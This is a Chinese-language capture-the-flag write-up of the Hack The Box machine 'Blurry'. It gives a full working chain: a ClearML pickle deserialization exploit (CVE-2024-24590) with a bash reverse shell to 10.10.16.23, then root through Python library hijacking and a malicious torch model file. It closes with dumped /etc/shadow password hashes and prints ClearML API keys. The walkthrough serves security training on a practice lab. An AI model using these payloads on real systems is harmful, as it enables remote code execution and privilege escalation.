MANESEC on 2024-06-10
Recommand: Let's Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
首先進入了其 80 端口,發現頁面直接跳轉至 http://app.blurry.htb/ ,隨後注意到該應用似乎與 ClearML 相關,這是一個機器學習的數據管理工具。註冊過程中,最初遇到了一些錯誤,但通過檢查 API 地址發現需將其修改為 http://app.blurry.htb/api ,隨後成功進入應用。在此過程中,觀察到一個名為 Chad Jippity 的用戶正在運行腳本,並且這些腳本的結果會自動記錄到遠程 ClearML 服務器上。進一步調查後,發現 ClearML 的 Python 庫存在漏洞,特別是 CVE-2024-24590,這使得用戶在調用 task.artifacts.get()
時可能觸發反序列化漏洞。此漏洞可被利用來上傳一個特製的物件,進而執行任意代碼。當成功上傳物件後,便能在網頁上看到解析的 RunCommand
類,等待用戶執行 task.artifacts.get()
時即可獲得 shell 訪問權限。接著,進一步分析發現 /usr/bin/evaluate_model
的腳本中調用了 /models/evaluate_model.py
,並且該目錄具有寫入權限,這使得可以利用 Python 庫劫持技術來獲得 root 權限。此時,即使無法直接修改文件,仍然可以刪除並重新寫入一個 shell 程序,從而達成提權目的。
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0B2izYdzgANpvBJW4Ym5zGRggYqa8smNlnRrVK6IuBtHzdlKgcFf+Gw0kSgJEouRe8eyVV9iAyD9HXM2L0N/17+rIZkSmdZPQi8chG/PyZ+H1FqcFB2LyxrynHCBLPTWyuN/tXkaVoDH/aZd1gn9QrbUjSVo9mfEEnUduO5Abf1mnBnkt3gLfBWKq1P1uBRZoAR3EYDiYCHbuYz30rhWR8SgE7CaNlwwZxDxYzJGFsKpKbR+t7ScsviVnbfEwPDWZVEmVEd0XYp1wb5usqWz2k7AMuzDpCyI8klc84aWVqllmLml443PDMIh1Ud2vUnze3FfYcBOo7DiJg7JkEWpcLa6iTModTaeA1tLSUJi3OYJoglW0xbx71di3141pDyROjnIpk/K45zR6CbdRSSqImPPXyo3UrkwFTPrSQbSZfeKzAKVDZxrVKq+rYtd+DWESp4nUdat0TXCgefpSkGfdGLxPZzFg0cQ/IF1cIyfzo1gicwVcLm4iRD9umBFaM2E=
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFMB/Pupk38CIbFpK4/RYPqDnnx8F2SGfhzlD32riRsRQwdf19KpqW9Cfpp2xDYZDhA3OeLV36bV5cdnl07bSsw=
| 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOjcxHOO/Vs6yPUw6ibE6gvOuakAnmR7gTk/yE2yJA/3
80/tcp open http syn-ack ttl 63 nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
經典的一個80端口。
一打開ip會直接跳轉到:http://app.blurry.htb/
$ ffuf -u "http://10.129.32.150" -H "Host: FUZZ.blurry.htb" -w /Tools/Wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.32.150
:: Wordlist : FUZZ: /Tools/Wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.blurry.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 169
________________________________________________
[Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 119ms]
* FUZZ: app
[Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 298ms]
* FUZZ: files
[Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 244ms]
* FUZZ: chat
然後有三個subdomain,來到app這個domain:
隨便填入一個名字看看:
看起來是clearml,clearml你可以理解成是機器學習的pastebin。
按照他的方法注冊了一下:
$ pip install clearml
$ clearml-init
一開始的時候我怎麽填都顯示錯誤,然後按F12看到原來api的地址改了
所以改成如下圖:
把 api_server
改成 http://app.blurry.htb/api
即可。
api {
web_server: http://app.blurry.htb
api_server: http://app.blurry.htb/api
files_server: http://files.blurry.htb
credentials {
"access_key" = "CX2A899YJAOTM1SA8MUW"
"secret_key" = "MWl4vXOqyKXCeQTQTqgICjOrYsMQlhsRs3FfwE2qVPkmtA6gQg"
}
}
但是刷新了一個網頁突然看到有一個running顯示,觀察了下,每隔一段時間就會有東西在運行。
我就好奇的點了進去:
從這裏你可以看到,儅有一個用戶在運行脚本,而且是使用clearml的框架下運行,你脚本的結果會自動記錄到遠程clearml的服務器上。
所以從這裏你可以看到chad jippity 會每隔一段時間在本地運行一個脚本。
脚本内容如下:
#!/usr/bin/python3
from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient
def process_json_artifact(data, artifact_name):
"""
Process a JSON artifact represented as a Python dictionary.
Print all key-value pairs contained in the dictionary.
"""
print(f"[+] Artifact '{artifact_name}' Contents:")
for key, value in data.items():
print(f" - {key}: {value}")
def process_task(task):
artifacts = task.artifacts
for artifact_name, artifact_object in artifacts.items():
data = artifact_object.get()
if isinstance(data, dict):
process_json_artifact(data, artifact_name)
else:
print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")
def main():
review_task = Task.init(project_name="Black Swan",
task_name="Review JSON Artifacts",
task_type=Task.TaskTypes.data_processing)
# Retrieve tasks tagged for review
tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)
if not tasks:
print("[!] No tasks up for review.")
return
threads = []
for task in tasks:
print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")
p = Process(target=process_task, args=(task,))
p.start()
threads.append(p)
task.set_archived(True)
for thread in threads:
thread.join(60)
if thread.is_alive():
thread.terminate()
# Mark the ClearML task as completed
review_task.close()
def cleanup():
client = APIClient()
tasks = client.tasks.get_all(
system_tags=["archived"],
only_fields=["id"],
order_by=["-last_update"],
page_size=100,
page=0,
)
# delete and cleanup tasks
for task in tasks:
# noinspection PyBroadException
try:
deleted_task = Task.get_task(task_id=task.id)
deleted_task.delete(
delete_artifacts_and_models=True,
skip_models_used_by_other_tasks=True,
raise_on_error=False
)
except Exception as ex:
continue
if __name__ == "__main__":
main()
cleanup()
搜索 ClearML exploit
看到了這個:https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
然後看到第一個 CVE-2024-24590: Pickle Load on Artifact Get 的視頻,他告訴你這個clearml 的python library有漏洞:
如果用戶調用 task.artifacts.get()
就會觸發反序列漏洞:
反序列可以用右邊的代碼生成,然後觀察 chad jippity 這個用戶:
你可以看到他確實有一個 get,所以參考視頻把代碼抄一下, 由於 upload_artifact 可以上傳一個object: https://clear.ml/docs/latest/docs/references/sdk/task/#upload_artifact
這樣就可以使用把反序列這個object使用artifact_object上傳上去就好了,代碼如下:
import pickle,os
class RunCommand:
def __reduce__(self):
return (os.system, ('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.23/1111 0>&1"',))
command = RunCommand()
from clearml import Task
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"], output_uri=True)
# 把command這個object上傳到 artifact_object
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")
當你把object上傳了上去之後,可以在網頁看到,已經成功解析了 RunCommand
這個類,這樣儅初始化 RunCommand()
就會執行代碼。
這個時候,等待用戶去執行 task.artifacts.get()
就得到了一個shell。
直接告訴你提權怎麽走,所以我沒有跑linpeas。
jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
jippity@blurry:~$ file /usr/bin/evaluate_model
/usr/bin/evaluate_model: Bourne-Again shell script, ASCII text executable
看到 /usr/bin/evaluate_model
是個脚本,打開看看:
jippity@blurry:~$ cat /usr/bin/evaluate_model
#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.
if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>"
exit 1
fi
MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"
..........
if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi
你看到他調用了 /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
,
剛好 PYTHON_SCRIPT="/models/evaluate_model.py"
,
也就是說這個脚本會調用 /models/evaluate_model.py
,所以去看看:
jippity@blurry:/models$ ls -lah
total 1.1M
drwxrwxr-x 2 root jippity 4.0K May 30 10:32 .
drwxr-xr-x 19 root root 4.0K Jun 3 09:28 ..
-rw-r--r-- 1 root root 1.1M May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root 2.5K May 30 04:38 evaluate_model.py
這裏面就兩個文件,但是cat了一下脚本,
jippity@blurry:/models$ cat evaluate_model.py
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys
然後發現這個目錄怎麽會有寫入權限。。所以可以使用 python library hijacking
這個技術得到root:
echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth
類似:
jippity@blurry:/models$ echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
root@blurry:/models# whoami
root
root@blurry:/models# id
uid=0(root) gid=0(root) groups=0(root)
jippity@blurry:/models$ ls -lah
total 1.1M
drwxrwxr-x 3 root jippity 4.0K Jun 9 03:36 .
drwxr-xr-x 19 root root 4.0K Jun 3 09:28 ..
-rw-r--r-- 1 root root 1.1M May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root 2.5K May 30 04:38 evaluate_model.py
drwxr-xr-x 2 root root 4.0K Jun 9 03:26 __pycache__
jippity@blurry:/models$ rm evaluate_model.py
rm: remove write-protected regular file 'evaluate_model.py'? y
jippity@blurry:/models$ ls
demo_model.pth __pycache__
jippity@blurry:/models$ echo 'import os; os.system("bash")' > evaluate_model.py
jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/demo_model.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
root@blurry:/models# id
uid=0(root) gid=0(root) groups=0(root)
root@blurry:/models#
你可以看到這個目錄屬於 jippity
這個用戶,所以實際上是可以刪除下面的文件的,即使他是root。
你現在沒有權限可以改裏面的文件,但是不代表你不可以刪除。所以刪除掉這個文件重新寫入一個shell,這樣也可以得到root。
import torch
import torch.nn as nn
import os
class CustomModel(nn.Module):
def __init__(self):
super(CustomModel, self).__init__()
self.linear = nn.Linear(10, 1)
def forward(self, x):
return self.linear(x)
def __reduce__(self):
cmd = "bash"
return os.system, (cmd,)
model = CustomModel()
torch.save(model, '/models/evil.pth')
類似這樣:
其實還有另一種提權的方法,也就是 Race condition
:從脚本可以看到,他是解壓了之後才分析,如果在解壓完了替換掉一開始解壓的文件,也可以得到root。
cat /etc/shadow
root:$y$j9T$HKjGxAyjzW3lmf/HmZafW0$fgkQykeZSlRYHzR8zHjMVQrRUzwM3xSvA0koPgt6TQ6:19770:0:99999:7:::
daemon:*:19668:0:99999:7:::
bin:*:19668:0:99999:7:::
sys:*:19668:0:99999:7:::
sync:*:19668:0:99999:7:::
games:*:19668:0:99999:7:::
man:*:19668:0:99999:7:::
lp:*:19668:0:99999:7:::
mail:*:19668:0:99999:7:::
news:*:19668:0:99999:7:::
uucp:*:19668:0:99999:7:::
proxy:*:19668:0:99999:7:::
www-data:*:19668:0:99999:7:::
backup:*:19668:0:99999:7:::
list:*:19668:0:99999:7:::
irc:*:19668:0:99999:7:::
gnats:*:19668:0:99999:7:::
nobody:*:19668:0:99999:7:::
_apt:*:19668:0:99999:7:::
systemd-network:*:19668:0:99999:7:::
systemd-resolve:*:19668:0:99999:7:::
messagebus:*:19668:0:99999:7:::
systemd-timesync:*:19668:0:99999:7:::
sshd:*:19668:0:99999:7:::
systemd-coredump:!*:19668::::::
jippity:$y$j9T$WUn.W06MZ94pp.Zq4HANr/$UAdCX7HojvUwcmzTO6.xcwCWvxrKneaoRAPqpFf1G6D:19770:0:99999:7:::
_laurel:!:19871::::::
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
Copyright © 2016-2025 manesec. All rights (include theme) reserved.